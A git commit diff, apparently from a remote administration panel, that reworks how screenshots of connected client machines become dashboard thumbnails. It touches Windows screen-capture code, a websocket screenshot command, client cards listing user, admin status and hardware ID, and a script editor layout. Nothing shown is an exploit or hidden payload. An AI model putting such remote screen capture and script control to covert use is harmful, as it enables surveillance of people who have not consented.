fix thumbnails

This commit is contained in:
KingKDot
2026-05-18 09:55:05 -05:00
parent 4129fc2164
commit 95f7db5dd5
8 changed files with 192 additions and 23 deletions
@@ -136,12 +136,12 @@ func setStretchBltMode(hdc uintptr, mode int32) {
} }
func bitBltWithFallback(hdcMem, hdcScreen uintptr, bounds image.Rectangle, w, h int) bool { func bitBltWithFallback(hdcMem, hdcScreen uintptr, bounds image.Rectangle, w, h int) bool {
return bitBlt(hdcMem, 0, 0, int32(w), int32(h), hdcScreen, int32(bounds.Min.X), int32(bounds.Min.Y), SRCCOPY) return bitBlt(hdcMem, 0, 0, int32(w), int32(h), hdcScreen, int32(bounds.Min.X), int32(bounds.Min.Y), SRCCOPY|CAPTUREBLT)
} }
func stretchBltCapture(hdcMem, hdcScreen uintptr, bounds image.Rectangle, srcW, srcH, dstW, dstH int) bool { func stretchBltCapture(hdcMem, hdcScreen uintptr, bounds image.Rectangle, srcW, srcH, dstW, dstH int) bool {
setStretchBltMode(hdcMem, COLORONCOLOR) setStretchBltMode(hdcMem, COLORONCOLOR)
return stretchBlt(hdcMem, 0, 0, int32(dstW), int32(dstH), hdcScreen, int32(bounds.Min.X), int32(bounds.Min.Y), int32(srcW), int32(srcH), SRCCOPY) return stretchBlt(hdcMem, 0, 0, int32(dstW), int32(dstH), hdcScreen, int32(bounds.Min.X), int32(bounds.Min.Y), int32(srcW), int32(srcH), SRCCOPY|CAPTUREBLT)
} }
var dpiAwareOnce sync.Once var dpiAwareOnce sync.Once
+29 -1
View File
@@ -8,6 +8,7 @@ import {
monitorsBadge, monitorsBadge,
shortId, shortId,
} from "./viewUtils.js"; } from "./viewUtils.js";
import { applyImageSrcSmooth } from "./thumbnail-loader.js";
function escapeHtml(text) { function escapeHtml(text) {
const div = document.createElement("div"); const div = document.createElement("div");
@@ -433,6 +434,23 @@ export function createRenderer({
return `${currentLayout}|${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${c.groupId}|${c.groupName}|${c.groupColor}|${!!c.notificationsMuted}`; return `${currentLayout}|${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${c.groupId}|${c.groupName}|${c.groupColor}|${!!c.notificationsMuted}`;
} }
function cardThumbDigest(c) {
return `${!!c.hasThumbnail}|${Number(c.thumbnailVersion) || 0}`;
}
function softThumbUpdate(card, client) {
const host = card.querySelector("[data-thumb-host]");
if (!host) return;
const newVersion = Number(client.thumbnailVersion) || 0;
host.dataset.thumbVersion = String(newVersion);
host.dataset.thumbOnline = client.online ? "1" : "0";
if (!client.hasThumbnail) return;
const img = host.querySelector("img[data-thumb-img]");
if (!img) return;
const url = `/api/clients/${encodeURIComponent(client.id)}/thumbnail${newVersion ? `?v=${newVersion}` : ""}`;
applyImageSrcSmooth(img, url);
}
function renderMerge(data, options = {}) { function renderMerge(data, options = {}) {
setupGridDelegation(); setupGridDelegation();
ensureLayoutScaffold(); ensureLayoutScaffold();
@@ -463,9 +481,18 @@ export function createRenderer({
if (existing) { if (existing) {
if (existing.classList.contains("card-uninstalling")) return; if (existing.classList.contains("card-uninstalling")) return;
const digest = cardDigest(client); const digest = cardDigest(client);
if (existing._cardDigest === digest) return; const thumbDigest = cardThumbDigest(client);
const structureChanged = existing._cardDigest !== digest;
const thumbChanged = existing._thumbDigest !== thumbDigest;
if (!structureChanged && !thumbChanged) return;
if (structureChanged) {
existing._cardDigest = digest; existing._cardDigest = digest;
existing._thumbDigest = thumbDigest;
updateCard(existing, client); updateCard(existing, client);
} else {
existing._thumbDigest = thumbDigest;
softThumbUpdate(existing, client);
}
return; return;
} }
newClients.push(client); newClients.push(client);
@@ -550,6 +577,7 @@ export function createRenderer({
: buildRowA(client, options); : buildRowA(client, options);
node._cardDigest = cardDigest(client); node._cardDigest = cardDigest(client);
node._thumbDigest = cardThumbDigest(client);
if (options.animate && currentLayout !== "table") { if (options.animate && currentLayout !== "table") {
node.classList.add("card-animate"); node.classList.add("card-animate");
+35 -2
View File
@@ -794,7 +794,7 @@ if (window.CodeMirror && scriptEditor) {
tabSize: 2, tabSize: 2,
lineWrapping: true, lineWrapping: true,
}); });
editorInstance.setSize(null, "100%"); editorInstance.setSize(null, "24rem");
window._vbCodeMirror = editorInstance; window._vbCodeMirror = editorInstance;
} }
@@ -803,6 +803,36 @@ const modeToggleVisual = document.getElementById("mode-toggle-visual");
const codeEditorSection = document.getElementById("code-editor-section"); const codeEditorSection = document.getElementById("code-editor-section");
const visualBuilderSection = document.getElementById("visual-builder-section"); const visualBuilderSection = document.getElementById("visual-builder-section");
const rightColumn = codeEditorSection?.parentElement?.querySelector(".lg\\:col-span-1"); const rightColumn = codeEditorSection?.parentElement?.querySelector(".lg\\:col-span-1");
const lgMediaQuery = window.matchMedia("(min-width: 1024px)");
function syncEditorHeight() {
if (!editorInstance || !codeEditorSection || !rightColumn) return;
if (codeEditorSection.classList.contains("hidden")) return;
if (!lgMediaQuery.matches) {
editorInstance.setSize(null, "24rem");
return;
}
const rightHeight = rightColumn.getBoundingClientRect().height;
const card = codeEditorSection.querySelector(":scope > div");
if (!card) return;
const cs = getComputedStyle(card);
const padY = (parseFloat(cs.paddingTop) || 0) + (parseFloat(cs.paddingBottom) || 0);
const header = card.querySelector(":scope > .flex.items-center.justify-between");
const headerH = header ? header.getBoundingClientRect().height : 0;
const headerStyle = header ? getComputedStyle(header) : null;
const headerMb = headerStyle ? parseFloat(headerStyle.marginBottom) || 0 : 0;
const target = Math.max(384, rightHeight - padY - headerH - headerMb);
editorInstance.setSize(null, `${target}px`);
}
if (editorInstance && rightColumn) {
syncEditorHeight();
if (typeof ResizeObserver === "function") {
const ro = new ResizeObserver(() => syncEditorHeight());
ro.observe(rightColumn);
}
window.addEventListener("resize", syncEditorHeight);
lgMediaQuery.addEventListener?.("change", syncEditorHeight);
}
let visualBuilderInited = false; let visualBuilderInited = false;
function setMode(mode) { function setMode(mode) {
@@ -825,7 +855,10 @@ function setMode(mode) {
visualBuilderSection?.classList.add("hidden"); visualBuilderSection?.classList.add("hidden");
modeToggleCode.className = "flex-1 flex items-center justify-center gap-2 px-4 py-2 rounded-lg font-semibold text-sm transition-colors bg-emerald-600 text-white"; modeToggleCode.className = "flex-1 flex items-center justify-center gap-2 px-4 py-2 rounded-lg font-semibold text-sm transition-colors bg-emerald-600 text-white";
modeToggleVisual.className = "flex-1 flex items-center justify-center gap-2 px-4 py-2 rounded-lg font-semibold text-sm transition-colors bg-slate-800 text-slate-300 hover:bg-slate-700"; modeToggleVisual.className = "flex-1 flex items-center justify-center gap-2 px-4 py-2 rounded-lg font-semibold text-sm transition-colors bg-slate-800 text-slate-300 hover:bg-slate-700";
if (editorInstance) editorInstance.refresh(); if (editorInstance) {
editorInstance.refresh();
syncEditorHeight();
}
} }
} }
@@ -49,6 +49,24 @@ function buildThumbnailUrl(clientId, version) {
return version > 0 ? `${base}?v=${version}` : base; return version > 0 ? `${base}?v=${version}` : base;
} }
export function applyImageSrcSmooth(img, url) {
if (!img || !url) return;
if (img.dataset.thumbUrl === url) return;
const newImg = img.cloneNode(false);
newImg.dataset.thumbUrl = url;
newImg.style.display = "block";
const swap = () => {
if (img.parentNode && img.dataset.thumbUrl !== url) img.replaceWith(newImg);
};
newImg.addEventListener("error", () => {}, { once: true });
newImg.src = url;
if (typeof newImg.decode === "function") {
newImg.decode().then(swap).catch(() => {});
} else {
newImg.addEventListener("load", swap, { once: true });
}
}
export class ThumbnailLoader { export class ThumbnailLoader {
constructor(options = {}) { constructor(options = {}) {
this.refreshIntervalMs = Math.max(500, Number(options.refreshIntervalMs) || DEFAULT_REFRESH_MS); this.refreshIntervalMs = Math.max(500, Number(options.refreshIntervalMs) || DEFAULT_REFRESH_MS);
@@ -147,10 +165,7 @@ export class ThumbnailLoader {
const img = element.querySelector("img[data-thumb-img]"); const img = element.querySelector("img[data-thumb-img]");
if (!img) return; if (!img) return;
const url = buildThumbnailUrl(rec.clientId, rec.version); const url = buildThumbnailUrl(rec.clientId, rec.version);
if (img.dataset.thumbUrl !== url) { applyImageSrcSmooth(img, url);
img.dataset.thumbUrl = url;
img.src = url;
}
} }
handleIntersection(entries) { handleIntersection(entries) {
+4 -4
View File
@@ -94,8 +94,8 @@
</div> </div>
<!-- Script Editor --> <!-- Script Editor -->
<div id="code-editor-section" class="lg:col-span-2"> <div id="code-editor-section" class="lg:col-span-2 min-h-0">
<div class="bg-slate-900/70 rounded-xl border border-slate-800 p-6 h-full flex flex-col"> <div class="bg-slate-900/70 rounded-xl border border-slate-800 p-6 h-full flex flex-col overflow-hidden">
<div class="flex items-center justify-between mb-4"> <div class="flex items-center justify-between mb-4">
<h2 class="text-xl font-semibold">Script Editor</h2> <h2 class="text-xl font-semibold">Script Editor</h2>
<div class="flex items-center gap-2"> <div class="flex items-center gap-2">
@@ -119,14 +119,14 @@
</div> </div>
<textarea <textarea
id="script-editor" id="script-editor"
class="w-full flex-1 min-h-[24rem] px-4 py-3 rounded-lg border border-slate-700 bg-slate-950 text-slate-100 font-mono text-sm resize-none focus:outline-none focus:ring-2 focus:ring-emerald-500" class="w-full flex-1 min-h-[24rem] px-4 py-3 rounded-lg border border-slate-700 bg-slate-950 text-slate-100 font-mono text-sm resize-none overflow-auto focus:outline-none focus:ring-2 focus:ring-emerald-500"
placeholder="Enter your script here..." placeholder="Enter your script here..."
></textarea> ></textarea>
</div> </div>
</div> </div>
<!-- Saved Scripts + Templates (right column) --> <!-- Saved Scripts + Templates (right column) -->
<div class="lg:col-span-1"> <div class="lg:col-span-1 self-start">
<div class="bg-slate-900/70 rounded-xl border border-slate-800 p-6 mb-6"> <div class="bg-slate-900/70 rounded-xl border border-slate-800 p-6 mb-6">
<h2 class="text-xl font-semibold mb-4">Saved Scripts</h2> <h2 class="text-xl font-semibold mb-4">Saved Scripts</h2>
<div class="flex gap-2 mb-3"> <div class="flex gap-2 mb-3">
@@ -253,9 +253,10 @@ export async function handleClientRoutes(
if (!canUserAccessClient(user.userId, user.role, clientId)) { if (!canUserAccessClient(user.userId, user.role, clientId)) {
return new Response("Forbidden: Client access denied", { status: 403 }); return new Response("Forbidden: Client access denied", { status: 403 });
} }
const { generateThumbnail, markThumbnailRequested, getThumbnailVersion } = await import("../../thumbnails"); const { requestThumbnailRegen, markThumbnailRequested, getThumbnailVersion, waitForThumbnail, clearThumbnailRequest } = await import("../../thumbnails");
markThumbnailRequested(clientId); markThumbnailRequested(clientId);
const target = clientManager.getClient(clientId); const target = clientManager.getClient(clientId);
const beforeVersion = getThumbnailVersion(clientId);
if (target?.online) { if (target?.online) {
const commandId = uuidv4(); const commandId = uuidv4();
target.ws.send( target.ws.send(
@@ -268,10 +269,16 @@ export async function handleClientRoutes(
); );
metrics.recordCommand("screenshot"); metrics.recordCommand("screenshot");
} }
const success = await generateThumbnail(clientId); const fresh = target?.online ? await waitForThumbnail(clientId, 2500) : false;
if (fresh) {
await new Promise((r) => setTimeout(r, 300));
} else {
await requestThumbnailRegen(clientId);
}
clearThumbnailRequest(clientId);
const version = getThumbnailVersion(clientId); const version = getThumbnailVersion(clientId);
return Response.json( return Response.json(
{ ok: true, updated: success, version }, { ok: true, updated: version > beforeVersion, version },
{ headers: deps.CORS_HEADERS }, { headers: deps.CORS_HEADERS },
); );
} }
+83
View File
@@ -128,7 +128,9 @@ export async function generateThumbnail(id: string): Promise<boolean> {
updatedAt: now, updatedAt: now,
}); });
evictThumbnailsIfFull(); evictThumbnailsIfFull();
if (latestFrames.get(id) === frameData) {
latestFrames.delete(id); latestFrames.delete(id);
}
return true; return true;
} catch (err) { } catch (err) {
console.error(`[thumbnails] Failed to generate thumbnail for client ${id}:`, err); console.error(`[thumbnails] Failed to generate thumbnail for client ${id}:`, err);
@@ -136,10 +138,54 @@ export async function generateThumbnail(id: string): Promise<boolean> {
} }
} }
const thumbnailGenState = new Map<string, { inFlight: boolean; pending: boolean }>();
export async function requestThumbnailRegen(id: string): Promise<boolean> {
let state = thumbnailGenState.get(id);
if (!state) {
state = { inFlight: false, pending: false };
thumbnailGenState.set(id, state);
}
if (state.inFlight) {
state.pending = true;
return false;
}
state.inFlight = true;
let didGenerate = false;
try {
while (true) {
state.pending = false;
const ok = await generateThumbnail(id);
if (ok) didGenerate = true;
if (!state.pending) break;
}
} finally {
state.inFlight = false;
if (thumbnailGenState.get(id) === state && !state.pending) {
thumbnailGenState.delete(id);
}
}
return didGenerate;
}
export function markThumbnailRequested(id: string) { export function markThumbnailRequested(id: string) {
thumbnailRequests.set(id, Date.now()); thumbnailRequests.set(id, Date.now());
} }
export function isThumbnailRequested(id: string, windowMs = 5000): boolean {
const ts = thumbnailRequests.get(id);
if (!ts) return false;
if (Date.now() - ts > windowMs) {
thumbnailRequests.delete(id);
return false;
}
return true;
}
export function clearThumbnailRequest(id: string) {
thumbnailRequests.delete(id);
}
export function consumeThumbnailRequest(id: string, windowMs = 5000): boolean { export function consumeThumbnailRequest(id: string, windowMs = 5000): boolean {
const ts = thumbnailRequests.get(id); const ts = thumbnailRequests.get(id);
if (!ts) return false; if (!ts) return false;
@@ -150,3 +196,40 @@ export function consumeThumbnailRequest(id: string, windowMs = 5000): boolean {
thumbnailRequests.delete(id); thumbnailRequests.delete(id);
return true; return true;
} }
const thumbnailWaiters = new Map<string, Set<() => void>>();
export function notifyThumbnailGenerated(id: string) {
const waiters = thumbnailWaiters.get(id);
if (!waiters) return;
thumbnailWaiters.delete(id);
for (const cb of waiters) {
try { cb(); } catch {}
}
}
export function waitForThumbnail(id: string, timeoutMs = 2500): Promise<boolean> {
return new Promise((resolve) => {
let settled = false;
let callback: () => void;
const finish = (fresh: boolean) => {
if (settled) return;
settled = true;
clearTimeout(timer);
const set = thumbnailWaiters.get(id);
if (set) {
set.delete(callback);
if (set.size === 0) thumbnailWaiters.delete(id);
}
resolve(fresh);
};
callback = () => finish(true);
const timer = setTimeout(() => finish(false), timeoutMs);
let set = thumbnailWaiters.get(id);
if (!set) {
set = new Set();
thumbnailWaiters.set(id, set);
}
set.add(callback);
});
}
+7 -4
View File
@@ -9,10 +9,11 @@ async function getGeoip() {
} }
import { ClientInfo } from "./types"; import { ClientInfo } from "./types";
import { import {
consumeThumbnailRequest, isThumbnailRequested,
hasThumbnail, hasThumbnail,
generateThumbnail,
setLatestFrame, setLatestFrame,
notifyThumbnailGenerated,
requestThumbnailRegen,
} from "./thumbnails"; } from "./thumbnails";
import { upsertClientRow, type ClientDbRow } from "./db"; import { upsertClientRow, type ClientDbRow } from "./db";
import { metrics } from "./metrics"; import { metrics } from "./metrics";
@@ -296,10 +297,12 @@ export function handleFrame(info: ClientInfo, payload: any) {
if (safeFormat) { if (safeFormat) {
const now = Date.now(); const now = Date.now();
const thumbnailRequested = consumeThumbnailRequest(info.id); const thumbnailRequested = isThumbnailRequested(info.id);
if (thumbnailRequested || !hasThumbnail(info.id)) { if (thumbnailRequested || !hasThumbnail(info.id)) {
setLatestFrame(info.id, bytes, safeFormat); setLatestFrame(info.id, bytes, safeFormat);
void generateThumbnail(info.id); void requestThumbnailRegen(info.id).then((ok) => {
if (ok) notifyThumbnailGenerated(info.id);
});
} }
info.lastSeen = now; info.lastSeen = now;
info.online = true; info.online = true;